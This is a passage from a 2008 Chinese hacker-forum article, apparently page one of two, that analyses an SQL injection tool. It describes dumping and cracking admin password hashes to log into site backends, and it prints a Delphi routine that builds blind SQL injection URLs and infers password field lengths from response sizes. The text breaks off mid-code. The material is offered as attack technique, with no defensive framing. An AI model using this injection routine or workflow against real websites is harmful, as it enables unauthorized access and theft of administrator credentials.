| 网站首页 | 资讯 | Hack | 漏洞 | 网管 | 编程 | 培训 | 品黑页 | 软件 | 论坛 | 动画 | 视频 | 经典 | 教学站 | 黑客点睛 | 
服务导航 我要发布 主力频道 空间域名 精华收集 服务器出租 黑客培训 光盘刻录 特色服务 解决方案 我要投诉
您现在的位置: 华夏黑客同盟 >> Hack >> 工具介绍 >> 正文 用户登录 新用户注册
[图文]脚本漏洞之黑客工具分析           ★★★ 【字体:
脚本漏洞之黑客工具分析
作者:不详 文章来源:华盟收集 点击数: 更新时间:2008-9-27

  看了上面的猜解是不是很麻烦,但如果我们用软件来猜解网络上存在注入的网站就只是几秒钟的事了。如下图:

                                                

  上图只是对一个网站注入点的工具检测,当然看到了结果扫出来的密码为16位的md5加密码,但我们可以通过md5密码破解工具进行破解的。然后找到后台用所得的用户名和密码进行登录即可。对于黑客软件,其实并不是我们想象的那么复杂,只是根据掌握的漏洞信息提交相应该的数据罢了,我们看下下面一段用delphi写的注入的片段就清楚不过了。这里控件的设置和线程的创建略,我们主要是看看猜解的过程,如下:

procedure TMainForm.GuessContProc(ListInt: integer); {SQL注入 - 多线程猜解字段内容}

function SQLTextFunc(URl, TopStr, TableName, FieldName, LevelStr: string; Len: integer): string;

begin

Result := Url + ’%20and%20exists(select%20*%20from%20’ + TableName +’%20where%20len(’ + FieldName + ’)’ + LevelStr + IntToStr(Len) + ’%20and%20id=(Select%20max(id)%20From%20’ + TableName +’%20where%20id%20in%20(select%20top%20’ + TOPStr + ’%20id%20from%20’ + TableName + ’%20Order%20by%20id)))’

   end;

var

  TableName: string;

  FieldName, S: string;

  ContentInt: integer;

  i, Len, LengthInt, N: integer;

  GridCount: integer;

  Colu: TColumn;

  FlagBool: boolean;

begin

  Len := 0;

  LengthInt := 0;

  FlagBool := True;

  TableName := TableNameLst.Items[TableNameLst.Itemindex];

  FieldName := Memo2.Lines[ListInt];

  if (LowerCase(FieldName) = ’password’) or (LowerCase(FieldName) = ’pass’) or

    (LowerCase(FieldName) = ’admin_pass’) or (FieldName = ’密码’) or

    (LowerCase(FieldName) = ’userpassword’) or (LowerCase(FieldName) = ’passwd’) then

  begin

    ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, 16), 800);

    if ContentInt >= and1Num then

    begin

      SqlResultMemo.Lines.Add(FieldName + ’长度: 16’);

      LengthInt := 16

    end

    else

    begin

      while (Len <= 50) and (FlagBool) do

      begin

        application.ProcessMessages;

        inc(Len, 2);

        Pane1.Caption := ’正在检测长度:Len(’ + FieldName + ’)=’ + inttostr(Len);

        ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’<=’, Len), 800);

        if ContentInt >= and1Num then

        begin

          for N := Len - 1 to Len do

          begin

            ContentInt := Get_HttpSize(SQLTextFunc(sql_EdUrl.Text, sqlEdTop.Text, TableName, FieldName, ’=’, N), 800);

            if ContentInt >= and1Num then

            begin

              LengthInt := N;

              SqlResultMemo.Lines.Add(FieldName + ’长度: ’ + inttostr(N));

              FlagBool := False;

              Break;

            end; // if

          end; // for

        end; // if

      end; // while

    end;

  end

  else

  begin

    while (Len <= 50) and (FlagBool) do

    begin

      application.ProcessMessages;

[1] [2] 下一页

责任编辑:朱倩  联系方式  Email:朱倩
电话:51228163
  • 上一篇黑客:

  • 下一篇黑客: 没有了
  • (只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    姓 名:
    * 游客填写  ·注册用户
    主 页:
    评 分:
    1分 2分 3分 4分 5分
    评论内容:
    验证码: *
  • 请遵守《互联网电子公告服务管理规定》及中华人民共和国其他各项有关法律法规。
  • 严禁发表危害国家安全、损害国家利益、破坏民族团结、破坏国家宗教政策、破坏社会稳定、侮辱、诽谤、教唆、淫秽等内容的评论 。
  • 用户需对自己在使用本站服务过程中的行为承担法律责任(直接或间接导致的)。
  • 本站管理员有权保留或删除评论内容。
  • 评论内容只代表网友个人观点,与本网站立场无关。
  • 最新hack更新
    最新推荐资讯
    相关黑客
    新工具把谷歌变成扫描器
    QQ Mail跨站脚本漏洞
    Dreamweaver挖掘漏洞
    新闻系统漏洞入侵实战
    黑客工具介绍之DDoS攻击工具TFN2
    让我们来偷窥黑客的工具箱
    我的黑色工具箱—几款黑客工具的
    黑客常用的八种工具及防御方法
    黑客工具展览会:DoS攻击软件连连
    最新会员软件
    最新推荐视频
    最新推荐动画

    Copyright @ 2005 77169.Net Inc. All rights reserved. 华夏黑客同盟 版权所有
    北京市电信通提供网络带宽

    mailto:webmaster@77169.net
    咨询QQ号:836982 / 59280880
    联系站长 QQ38588913
    热线电话: 86-10-67634029/676229433
    京ICP证041431号